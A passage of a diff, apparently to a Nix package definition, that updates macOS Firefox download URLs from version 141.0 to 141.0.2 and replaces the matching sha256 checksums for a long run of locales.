+      sha256 = "9b94151ff7aac5a544ad0eff4ea6982611cdca4987596dbe5bb8a5f67dc3cae4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/bn/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/bn/Firefox%20141.0.2.dmg";
       locale = "bn";
       arch = "mac";
-      sha256 = "0f33952b98fa2b12559d1e26a5d685a7eb0a115b5ca83b5b2cf3b590e119c7d8";
+      sha256 = "90a2e80c13aca69bbd79b85be1cf6b96dd88ddfd4e03ad427005899ace1889c4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/br/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/br/Firefox%20141.0.2.dmg";
       locale = "br";
       arch = "mac";
-      sha256 = "4a78d0bd1b97bab98c3528ed6791f8a7051684352ed6833d21638a0d3ac7d023";
+      sha256 = "496ae5f681e8b33d351643ca4a18846bb36a28113738e86b0fe9ebf435edaa81";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/bs/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/bs/Firefox%20141.0.2.dmg";
       locale = "bs";
       arch = "mac";
-      sha256 = "d8cb8d7b77a0c87b637f170b33d574c229e23bd9d287e4a7d29bb1486250111d";
+      sha256 = "6b913c6986c21e2f146d09b36c60fc155ecb7d3da3f72d3f4764670e3ee8d43e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/ca-valencia/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/ca-valencia/Firefox%20141.0.2.dmg";
       locale = "ca-valencia";
       arch = "mac";
-      sha256 = "29345bba27c498514d970b1aa7493a308b4d064615d4200e3ac9130ce7a53838";
+      sha256 = "f247b57df3f15192ee1be8c3ce783c0886e6b5a9e784226c09164a0971595689";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/ca/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/ca/Firefox%20141.0.2.dmg";
       locale = "ca";
       arch = "mac";
-      sha256 = "0730fb671f74c191a5809fc08ea4daad06e472dc44533080903c0355d81e5a96";
+      sha256 = "645144058ebc566458d8731bba87c4bba115fbe9e5021c4b15f7ed6c8cfe88f6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/cak/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/cak/Firefox%20141.0.2.dmg";
       locale = "cak";
       arch = "mac";
-      sha256 = "26d1fa860c369c0506f3daac0451640c485333fc8a8802b5bd7b590d113bc3db";
+      sha256 = "4664c13814c00b1ba204b0b5db63c3c1f443981edb4c1af52a9f65ddda793a04";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/cs/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/cs/Firefox%20141.0.2.dmg";
       locale = "cs";
       arch = "mac";
-      sha256 = "db5a9752316e661df2f6556cba4cab098c301bf4ebb1d48417dc88d3f460fda9";
+      sha256 = "24a181a720ae7ad1af4ca025f0a39088f821f3282a5339391b341187b5d1975b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/cy/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/cy/Firefox%20141.0.2.dmg";
       locale = "cy";
       arch = "mac";
-      sha256 = "4dc37b54778326a75fbc24af6e44bba7a1a226781e24dcd95f98a24e1a9c0942";
+      sha256 = "63774d8bd4099e9bd44ccf62643e5fe5a3db903df98e8d3238af00b8e52c7591";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/da/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/da/Firefox%20141.0.2.dmg";
       locale = "da";
       arch = "mac";
-      sha256 = "48c99e8604547336100444fd9b395bfc937d43fcef3c49709c71fa68c329a264";
+      sha256 = "4f335c4e5dfb2bf60203ab7c80c13243b31a61da7918ce4b796fe0b76c3cbf96";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/de/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/de/Firefox%20141.0.2.dmg";
       locale = "de";
       arch = "mac";
-      sha256 = "5ae1392c6281d460a98f063cadea1c8a72dfac311ea5f165f26af883896afad3";
+      sha256 = "c50b62baa33d6aa73f989ac7520259f69e66e00bb3c31a8b2ab4376f6a929ad9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/dsb/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/dsb/Firefox%20141.0.2.dmg";
       locale = "dsb";
       arch = "mac";
-      sha256 = "0c3be90c018466786add506e2978e27b14cc2ea52b22aabf3e531fcbd9f147dd";
+      sha256 = "b167c1ae87b7daf423e68669ee17d0cc69d4fb7988c37ba9c9dfc3742ba6d258";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/el/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/el/Firefox%20141.0.2.dmg";
       locale = "el";
       arch = "mac";
-      sha256 = "1654e0ff5e19a5a3e3831724f3a6a70f0dd914b73cc1add013e8c6078582f9ed";
+      sha256 = "5d3eec971607cbde0cce49f4bd8c29c125b6b2b29eb19196ec1a06fed232e575";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/en-CA/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/en-CA/Firefox%20141.0.2.dmg";
       locale = "en-CA";
       arch = "mac";
-      sha256 = "46030b203e41d4b5a6533898ff0bc8ac55e0b31649cc90f99981c86949e0774b";
+      sha256 = "2bec21600f310140bd69e431d88e241a77b1425ad068954011a457b2453a038d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/en-GB/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/en-GB/Firefox%20141.0.2.dmg";
       locale = "en-GB";
       arch = "mac";
-      sha256 = "ab20062bbccce286e6f499b5d29dad23e8706b52fea62e5ca84bddce99339450";
+      sha256 = "06c2e04378f0c274e7a64537baa2af915c38c0524d243b030cb3feb64e7dcbc2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/en-US/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/en-US/Firefox%20141.0.2.dmg";
       locale = "en-US";
       arch = "mac";
-      sha256 = "37b716b18a7852d3253e9444dbd0eb275204e54b589cc7ad38209c7fceb7ccf3";
+      sha256 = "1cd69b03bcf48b9eef1b5221bd4297469d60026139f29213b571e32a993fe2f8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/eo/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/eo/Firefox%20141.0.2.dmg";
       locale = "eo";
       arch = "mac";
-      sha256 = "7f3cde6487f4340176f0bf665a7b279b9a8bb334125e17c1731e8ba31ae494e7";
+      sha256 = "5da7ecbffffe9cdaf8d9b60a4a393c7c5488918a944dcd7ac5907466f9c27a38";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/es-AR/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/es-AR/Firefox%20141.0.2.dmg";
       locale = "es-AR";
       arch = "mac";
-      sha256 = "67dc1c5e17c8a9b53c11daf1fb9b9b756a982e55cccf9b9aefc0b4295f03888f";
+      sha256 = "84214007dce9ed67bf3622d805e3931ff54ca51c316bf278ae503a01baa1e466";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/es-CL/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/es-CL/Firefox%20141.0.2.dmg";
       locale = "es-CL";
       arch = "mac";
-      sha256 = "c97042717572fed5637a061ea3272b65ceceea1b02f29f6f6119d5bd77b9c372";
+      sha256 = "d868012a50f50040481c0ce35e55a9de34a41b6e8df5a4f9748a1b6b8444dba9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/es-ES/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/es-ES/Firefox%20141.0.2.dmg";
       locale = "es-ES";
       arch = "mac";
-      sha256 = "86ab897195a45161d8a91e1beec7d95ec4b638ed040ffd3cbd3c73d09149e50b";
+      sha256 = "f9e9800cd41c725ba8306c1b12dd1f3587de4e1d2813995b242bcd5ec56942b0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/es-MX/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/es-MX/Firefox%20141.0.2.dmg";
       locale = "es-MX";
       arch = "mac";
-      sha256 = "c5acd527fa2441bcc8970dfcda84dd219e18247153e5c540b366e95934caf6e8";
+      sha256 = "dad02c5a8e0589c9fee17f7b76bfde7dc6bf8421b8c9a2b1ed3fc5e1935e562c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/et/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/et/Firefox%20141.0.2.dmg";
       locale = "et";
       arch = "mac";
-      sha256 = "e99a68d5f1462498c64950752e1d1148c4c4e54c1cc118bad125d901b3e3592f";
+      sha256 = "877b1a3261aef7fe2aaec1cc36b5e27edfb2567a5f7099d10e7ab23a3683b43d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/eu/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/eu/Firefox%20141.0.2.dmg";
       locale = "eu";
       arch = "mac";
-      sha256 = "62811cbc10df1cfc6edc4335ae1b28aae766c928ed3ea96aa30c757c22ff9593";
+      sha256 = "4556041663c35a501d5f90ab9cd01cfe54925618a37df6334430941a5d878c5a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/fa/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/fa/Firefox%20141.0.2.dmg";
       locale = "fa";
       arch = "mac";
-      sha256 = "9040a8fd73f666ea883273537f7f704cfc5e2f8fd4076e754ad305fdce081de5";
+      sha256 = "bdd1ecb59e8fa9f05663e1798f872d605c08d761c97369f8f43fbbb7734b76c3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/ff/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/ff/Firefox%20141.0.2.dmg";
       locale = "ff";
       arch = "mac";
-      sha256 = "1fabff46a95fab8aadc282dd4457ee3e7f47868a8313abaf00b4bb3e484d642e";
+      sha256 = "5e3eea0fc7e409ea145f956eddca0833af6535847dcf833d023aea90f4e981c7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/fi/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/fi/Firefox%20141.0.2.dmg";
       locale = "fi";
       arch = "mac";
-      sha256 = "27649db4540cc76b263c6206daf18bfa105d4898ce34a9d7b6ffb3ce45f6a188";
+      sha256 = "455d4b279ddde9dcbeb62494a3fe0fbc68240084aeb00ad679650e32d8dcde59";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/fr/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/fr/Firefox%20141.0.2.dmg";
       locale = "fr";
       arch = "mac";
-      sha256 = "30ff050bc6cb530af58113d67fab3c58a8a5e2daba2c7a006e27a01c0763edf3";
+      sha256 = "b32c1573430b3740aec550d9d3ebc416670188db31a6801b92304124fbc253d3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/fur/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/fur/Firefox%20141.0.2.dmg";
       locale = "fur";
       arch = "mac";
-      sha256 = "f5bd86f76936041dbb89072c05bdd09f9191bbf132f30a5104f6d8556eb007b3";
+      sha256 = "470f1df6e54ae2eb3b3285d5cd76f795930a328e79b1cb7b11ec48b9e3630bc5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/fy-NL/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/fy-NL/Firefox%20141.0.2.dmg";
       locale = "fy-NL";
       arch = "mac";
-      sha256 = "037fb3559a0e9df8ef64fd0709389b13bbdc05bab7b532e18ea31691e49025b6";
+      sha256 = "2c26e58bd7fa0ec9f2658fd7fa72ee178269f748e13b80651fa12758135c1e1f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/ga-IE/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/ga-IE/Firefox%20141.0.2.dmg";
       locale = "ga-IE";
       arch = "mac";
-      sha256 = "d2b8ffbb97c1632fd87b383fe48366bde9b0a31341efcf7e36534d0d6ac1e639";
+      sha256 = "e9d1c3d8da2097651f57636ff507f39ba6c0d104388ef148eff4198b1ffd2de2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/gd/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/gd/Firefox%20141.0.2.dmg";
       locale = "gd";
       arch = "mac";
-      sha256 = "94adf31c9d91323dcd6d8f76ee94dae258d80ea851dc47417a98afe8d526cd98";
+      sha256 = "78822e7c31ebb7856fa225351916fe83f809d0d10df6e5e6e7b3320960719bb9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/gl/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/gl/Firefox%20141.0.2.dmg";
       locale = "gl";
       arch = "mac";
-      sha256 = "2b59bad54487b5847b952f9f7c127dd0091ec11240e8693b0cca3bc6abd299ba";
+      sha256 = "2e6fdf7b5a8f2837ddb9efe2f42520560b0d0bba827c8a8d0d7f2afb4e9cb6d0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/gn/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/gn/Firefox%20141.0.2.dmg";
       locale = "gn";
       arch = "mac";
-      sha256 = "7b3124230895938621fdfff33af4c2c4cf3ef1de458b6f8b261a70918fcbcccd";
+      sha256 = "480abd37bc2697f515ef8840f982fd5589dc84b97ee786c162984356dbcb9888";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/gu-IN/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/gu-IN/Firefox%20141.0.2.dmg";
       locale = "gu-IN";
       arch = "mac";
-      sha256 = "761af68dfd2a6d83102f73fed9830bc74d69ec6de00dffdcd6850f410c367b82";
+      sha256 = "569ab91ec1c4f92cc97e92608883ed9583b1b2e494cfbe91c2ceafe13c43c399";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/he/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/he/Firefox%20141.0.2.dmg";
       locale = "he";
       arch = "mac";
-      sha256 = "40080800f9dcf6b7133c86b671f7dccaa12a3ad5530810de548f52b7628d6e96";
+      sha256 = "d11ce1abc2106747d2e207efaf8b594fc398d9c8f2f3e3f44a1e5d8e7d4632c5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/hi-IN/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/hi-IN/Firefox%20141.0.2.dmg";
       locale = "hi-IN";
       arch = "mac";
-      sha256 = "a1f2030fbc7caea2db22cbca1395131d98d4004a190b25176e0ad45badece8ef";
+      sha256 = "cb546d6249436bf9a79776c0cb02e973001dce8c4f01953a455461a8a3b8bdfe";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/hr/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/hr/Firefox%20141.0.2.dmg";
       locale = "hr";
       arch = "mac";
-      sha256 = "1c7a3c44423e6b29deb06337f610e0de4839d5bba0b4e82c1336ab2867289d97";
+      sha256 = "1638f0ed74a4ab0a1376f7a1997177de9ede38a3ee93cae6255f0898decbc42b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/hsb/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/hsb/Firefox%20141.0.2.dmg";
       locale = "hsb";
       arch = "mac";
-      sha256 = "f95ca452f3a35561bff5c0978d2420cc45d2c4efcc1d24a9be7dc2fd01247593";
+      sha256 = "0ff57da60c0390437acec14bd5f77c11dd13a18a3cbd91227bdab3cc3e945bed";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/hu/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/hu/Firefox%20141.0.2.dmg";
       locale = "hu";
       arch = "mac";
-      sha256 = "451a87db40008ed51641d84ab0f001ac060f06644691b2a39756282379f4c5d7";
+      sha256 = "568c2838ffd99c54bef5545ac0afe80de79836cfe2da1953c052bbd290314aad";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/hy-AM/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/hy-AM/Firefox%20141.0.2.dmg";
       locale = "hy-AM";
       arch = "mac";
-      sha256 = "f2850be54a81a819f60701b98e488e4dc16982afc2c12d94e96445033b94fb3c";
+      sha256 = "b01a93b97a7e43c2786d0bef0de861475b9d5d05e05b4fc35f4537f90434ab50";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/ia/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/ia/Firefox%20141.0.2.dmg";
       locale = "ia";
       arch = "mac";
-      sha256 = "0c5a37dc15eb95535926f528e7502d86fa3995af0d6675e39c4b1fcb869d31e8";
+      sha256 = "303b2b923d72d7010a2540e6ab613d69cfecda9f70d7304eaec8c54b85583a29";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/id/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/id/Firefox%20141.0.2.dmg";
       locale = "id";
       arch = "mac";
-      sha256 = "12a69b1077f5b1547fa539a3b5808dd3844d07ebb63a1ad0a18b322ad2d06831";
+      sha256 = "c77f27309b33fc0f712eae700351c1e094bfdac09a2758b8f8d93493532897e6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/is/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/is/Firefox%20141.0.2.dmg";
       locale = "is";
       arch = "mac";
-      sha256 = "860f21eb86b1b32d0f221f80d33bd1845e8190749a6f506a743735acbe43a3e5";
+      sha256 = "78cc0781bf9aae9a4e4ab694a0fa6040261c462eaadef3a490e1931c44b92c6a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/it/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/it/Firefox%20141.0.2.dmg";
       locale = "it";
       arch = "mac";
-      sha256 = "abf920bdcc9e64d1c3942eb8fb225bdffe792d82a99d45ecdec1dc7ec88821fd";
+      sha256 = "bc0148a080b8224053c5a0b0efa68b9c6419045d2786cbfd4425a959341c52b7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/ja-JP-mac/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/ja-JP-mac/Firefox%20141.0.2.dmg";
       locale = "ja-JP-mac";
       arch = "mac";
-      sha256 = "4d10b017c618a656a133701a89573e635607582b3c7f93de12c46ab20a6bdf34";
+      sha256 = "9b4cf019dde4fe74ebf28bfe22b319933057d3174197707782b1f40e5926323d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/ka/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/ka/Firefox%20141.0.2.dmg";
       locale = "ka";
       arch = "mac";
-      sha256 = "a1b00a24f8c5f42dd0ca424695c0750e9c8894e0d9b6a17fae8ac89a8575823a";
+      sha256 = "707ea751e9ad4983f167bf27bc01aeb696057762e092b6b7a622618b8167ecbb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/kab/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/kab/Firefox%20141.0.2.dmg";
       locale = "kab";
       arch = "mac";
-      sha256 = "cf02236311dcb1e2388640373cef5bf2d46b0cb5d561ebda7d1ccc74a31454f6";
+      sha256 = "85e78a08ed5412979d41adc190e54f23e3c4c5dbc991ea9ae6cb4347673936e2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/kk/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/kk/Firefox%20141.0.2.dmg";
       locale = "kk";
       arch = "mac";
-      sha256 = "06f791c414b7b1230ccb9c06ede74fa557896daa96333571474a864a9247444b";
+      sha256 = "39930b4985cb2e654117f281b7b02bfa401688052addf6263b1eaa0af7519b4a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/km/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/km/Firefox%20141.0.2.dmg";
       locale = "km";
       arch = "mac";
-      sha256 = "02fc09e2aa767ffc54d9619173e87e1ae6dbd1bd1a8ecde5840c5b389c135628";
+      sha256 = "783ce0c8726efe7577f44fae12daeb70cdb81093359f95f5d911e207141d13eb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/kn/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/kn/Firefox%20141.0.2.dmg";
       locale = "kn";
       arch = "mac";
-      sha256 = "bda70cb591c05f52ae99916bd4669a6a52fb0a6d4b7f882c053dbe03a104bcc1";
+      sha256 = "cade57a63a69072290421f073bb11490259e951247fe7c8407e58eebe669602f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/ko/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/ko/Firefox%20141.0.2.dmg";
       locale = "ko";
       arch = "mac";
-      sha256 = "c4846df0b8af4423724841f3af77e4eeac525c8a7d7e01493a20c787cae029c3";
+      sha256 = "536b100a81b14923a36ecfd4af0ab58e6f70f7ebd241f273dd51779baf3c7bae";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/lij/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/lij/Firefox%20141.0.2.dmg";
       locale = "lij";
       arch = "mac";
-      sha256 = "d73ca865779e509fe94cda0d1f5f45bd4b528173d57145dcbb3de9432e2993c0";
+      sha256 = "7c2c26d72b73131a107c94fbb7845af0fae518b3ece4b770ee589966fb76090f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/lt/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/lt/Firefox%20141.0.2.dmg";
       locale = "lt";
       arch = "mac";
-      sha256 = "9d831f0655b0f890b4081f0c843eb38e987c436d281438cfd1aa5e6dfd14d0c3";
+      sha256 = "d22fa6a4ff4a52f2ee9d3e0a79e1b1fb5e4f025cac098dd025ae71b5a1d41709";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/lv/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/lv/Firefox%20141.0.2.dmg";
       locale = "lv";
       arch = "mac";
-      sha256 = "9891e2af2be47146440a4b0200f89d9f9f4080133cfbf383d66e9c81d401e9e6";
+      sha256 = "a7e0e25d39f82be3205baaafe92e419fff613683d9cf4cfe3e25d9b21ef67014";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/mk/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/mk/Firefox%20141.0.2.dmg";
       locale = "mk";
       arch = "mac";
-      sha256 = "90259de40c97e582579af6dd9e802aece86463e3b338115945cfa40d6a528346";
+      sha256 = "1f3e595352b9a8f79ab35f066905a20b8b567b2ce7a19db0983b42f0dd1a3e51";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/mr/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/mr/Firefox%20141.0.2.dmg";
       locale = "mr";
       arch = "mac";
-      sha256 = "7cdeb56ed559a69eaa746c26b21eaa0238677be472e314991cd654f5c3ef74f6";
+      sha256 = "9eed2e2e2b99d7e90fb2b470560f0b039c64920011bd3326b7629f240af1dee3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/ms/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/ms/Firefox%20141.0.2.dmg";
       locale = "ms";
       arch = "mac";
-      sha256 = "b362c9acd234f6db36c7597f34e2a273156d50b891c26c50c0f9f663705496f4";
+      sha256 = "ccfd4267396e60c20d580112be25c82b4627a7c7755e666e036c07862151dd24";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/my/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/my/Firefox%20141.0.2.dmg";
       locale = "my";
       arch = "mac";
-      sha256 = "2055b06d76d307a97a7816449298fc1180e9d9424d54df88f5c7dec54182e149";
+      sha256 = "a6f1e3305fd00974b0414dc898fe9f30c0173cc2eb1faa6a9ced1900b18854c6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/nb-NO/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/nb-NO/Firefox%20141.0.2.dmg";
       locale = "nb-NO";
       arch = "mac";
-      sha256 = "17cb325fe0210a52a2976bcdf148837092938cfcf1aaa6673cd7f4a14b39238e";
+      sha256 = "ca5081d0e28ba87a99d3738f9650cce9fb2dc15dd85bf6a100a7ddae9c91dd89";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/ne-NP/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/ne-NP/Firefox%20141.0.2.dmg";
       locale = "ne-NP";
       arch = "mac";
-      sha256 = "877c21e2a7f37eb27a3a3ba111906737514093a20c94c5edf571284cde5c097a";
+      sha256 = "761b3dee5f3948a3401e8676de9e678260e1d4f174797bee38cc3919d394d3b3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/nl/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/nl/Firefox%20141.0.2.dmg";
       locale = "nl";
       arch = "mac";
-      sha256 = "7ae4122c451953bd92eedd23dd068631ddeec419a7ddf7d783dc204c08e75f95";
+      sha256 = "b74ea182876961a5a67b20cad3724dffe5fef7d8ea7a8b039bbf5296fbfaede0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/nn-NO/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/nn-NO/Firefox%20141.0.2.dmg";
       locale = "nn-NO";
       arch = "mac";
-      sha256 = "10a255b5280ee7bbdf220e6ca8bd994eef159a5dd8804d22c6f6c963febb6c14";
+      sha256 = "9607df3f9615535d89ab5752ae4f07151ba24ef2a36436fb083f8f15667ea5b5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/oc/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/oc/Firefox%20141.0.2.dmg";
       locale = "oc";
       arch = "mac";
-      sha256 = "26059c0262743605d045e4eda0589bb4f0fe8d63b584f2ea1f904d48da2ccb65";
+      sha256 = "d34122d58cdb7964041fd3c1b16fc3b8bae925649bd3910da96c486be3069a83";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0/mac/pa-IN/Firefox%20141.0.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.2/mac/pa-IN/Firefox%20141.0.2.dmg";
       locale = "pa-IN";
       arch = "mac";
-      sha256 = "cd77d464e80b82ad6c68eb2b5dd7ae41956d9b151a68688def0915d640cd8e01";
